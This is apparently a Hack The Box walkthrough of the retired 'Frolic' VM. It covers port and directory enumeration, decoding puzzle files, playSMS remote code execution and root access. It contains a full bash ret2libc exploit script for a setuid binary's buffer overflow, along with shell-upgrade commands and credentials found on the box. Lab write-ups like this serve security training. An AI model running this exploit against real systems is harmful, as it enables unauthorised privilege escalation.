This post documents the complete walkthrough of Frolic, a retired vulnerable VM created by sahay, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Frolic is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        syn-ack ttl 63 Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: 818DD6AFD0D0F9433B21774F89665EEA
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Node-RED
9999/tcp open  http        syn-ack ttl 63 nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!                

nmap finds 22/tcp, 139/tcp, 445/tcp, 1880/tcp, and 9999/tcp open. Nothing interesting stood out from the Samba enumeration.

Host script results:
|_clock-skew: mean: -1h49m59s, deviation: 3h10m30s, median: 0s
| nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   FROLIC<00>           Flags: <unique><active>
|   FROLIC<03>           Flags: <unique><active>
|   FROLIC<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2018-12-30T18:53:25+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-12-30 13:23:25
|_  start_date: N/A

Well, this is how the two http services look like.



Directory/Files Enumeration

Let’s use wfuzz like I normally do with 9999/tcp first.

# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 950

ID   Response   Lines      Word         Chars          Payload    

000060:  C=301      7 L       13 W          194 Ch        "admin"
000111:  C=301      7 L       13 W          194 Ch        "backup"
000273:  C=301      7 L       13 W          194 Ch        "dev"
000834:  C=301      7 L       13 W          194 Ch        "test"

Total time: 19.39293
Processed Requests: 950
Filtered Requests: 946
Requests/sec.: 48.98690

This is how /admin looks like.

The login page is controlled by a poorly coded JavaScript like so.

Heck. I don’t even need to enter to the password. A successful login attempt gets redirected to success.html.

The above is uttered in Orangutan words, which after decoding looks like this.

Lame. I know. And this is how /asdiSIAJJ0QWE9JAS looks like.

This is getting lamer. That’s the base64 encoding of a password-protected Zip file.

Long story short, the password to unzip the file is password. Duh??!!

And, the final message is in Brainfuck.

It reveals what appears to be a password.

This is how /backup looks like.

The two files password.txt and user.txt are available. However, I don’t know what value they provide at this point. Or, maybe not at all.

password - imnothuman
user - admin

The directory /dev contains more directories like so.

# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404
* Wfuzz 2.3.1 - The Web Fuzzer                         *

Total requests: 950

ID   Response   Lines      Word         Chars          Payload    

000111:  C=301      7 L       13 W          194 Ch        "backup"
000834:  C=200      1 L        1 W            5 Ch        "test"

Total time: 19.31173
Processed Requests: 950
Filtered Requests: 948
Requests/sec.: 49.19287

The directory /dev/backup provides a hint to a new directory: /playsms. Here’s how it looks like.

playSMS Remote Code Execution

An attack surface finally emerges! The credential to log in to the web application is (admin:idkwhatispass)

I’m assuming this is the vulnerable version which is susceptible to remote code execution. In which case, there’s a ready-made exploit just for it.

In equally lame situation, the exploit works and we have ourselves an interactive shell.

Low-Privilege Shell

Let’s upgrade the interactive shell to a full TTY shell.

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo

The user.txt is in ayush’s home directory.

Privilege Escalation

During enumeration of www-data’s account, I noticed a setuid executable at /home/ayush/.binary/rop.

If the name of the executable is anything to go by, I’m guessing that the privilege escalation has something to do with return-oriented programming (or ROP).

I also noted that address space layout randomization (or ASLR) is disabled, which is going to help us in getting root. Here’s how to check.

In order to better analyze the executable, I transfer it over to my attacking machine where I have my PEDA for GDB installed.

Here, I have a breakpoint set up at 0x8048508 with b *vuln+16 and running the program with r $(perl -e 'print "A" x100'), which is to run the executable with a 100 As.

A couple of instructions down, I’m at 0x8048527 before the 100 As get printed to stdout. Notice the buffer containing the 100 As is at 0xffffd258.

Here, just before EIP executes the next instruction (ret), notice the return address is at 0xffffd28c, which is 52 bytes (0xffffd28c - 0xffffd258) away from the buffer of 100 As. We can control the return address through buffer overflow!

The general exploit construct looks like this: ./rop $(perl -e 'print "A" x 52 . "<4-byte return address>"'). Let’s run the proof-of-concept with strace.

Recall that ASLR is disabled? And, because the executable is linked dynamically with libc, we can perform a specific ROP technique known as ret2libc.

Armed with this knowledge, let’s write a automated exploit in bash to get our root shell.

# Get all the addresses
TARGET="$(readlink -f $1)"
LIBC_INFO="$(ldd $TARGET | grep libc)"
LIBC_BASE="$(awk '{ print $NF }' <<<"$LIBC_INFO" | tr -cd '[x0-9a-f]')"
LIBC_FILE="$(awk '{ print $3 }' <<<"$LIBC_INFO")"
SYSTEM_OFFSET="0x$(readelf -a $LIBC_FILE | grep -m1 "[email protected]" | awk '{ print $2 }')"
SYSTEM_ADDR="$(printf "0x%08x" $((LIBC_BASE + SYSTEM_OFFSET)))"
BIN_SH_OFFSET="$(grep -oba '/bin/sh' $LIBC_FILE | cut -d':' -f1)"
BIN_SH_ADDR="$(printf "0x%08x" $((LIBC_BASE + BIN_SH_OFFSET)))"

# Construct exploit string
RET_ADDR="$(sed -r 's/^0x(..)(..)(..)(..)$/\\x\4\\x\3\\x\2\\x\1/' <<<"$SYSTEM_ADDR")"
PAYLOAD_ADDR="$(sed -r 's/^0x(..)(..)(..)(..)$/\\x\4\\x\3\\x\2\\x\1/' <<<"$BIN_SH_ADDR")"

# Exploit
$TARGET $(perl -e "print 'A' x 52 . \"$RET_ADDR\" . \"JUNK\" . \"$PAYLOAD_ADDR\"")

Copy to the target host where we have rwx permissions, e.g. /tmp, and run the exploit script.


Getting root.txt is a piece of cake when you have root shell.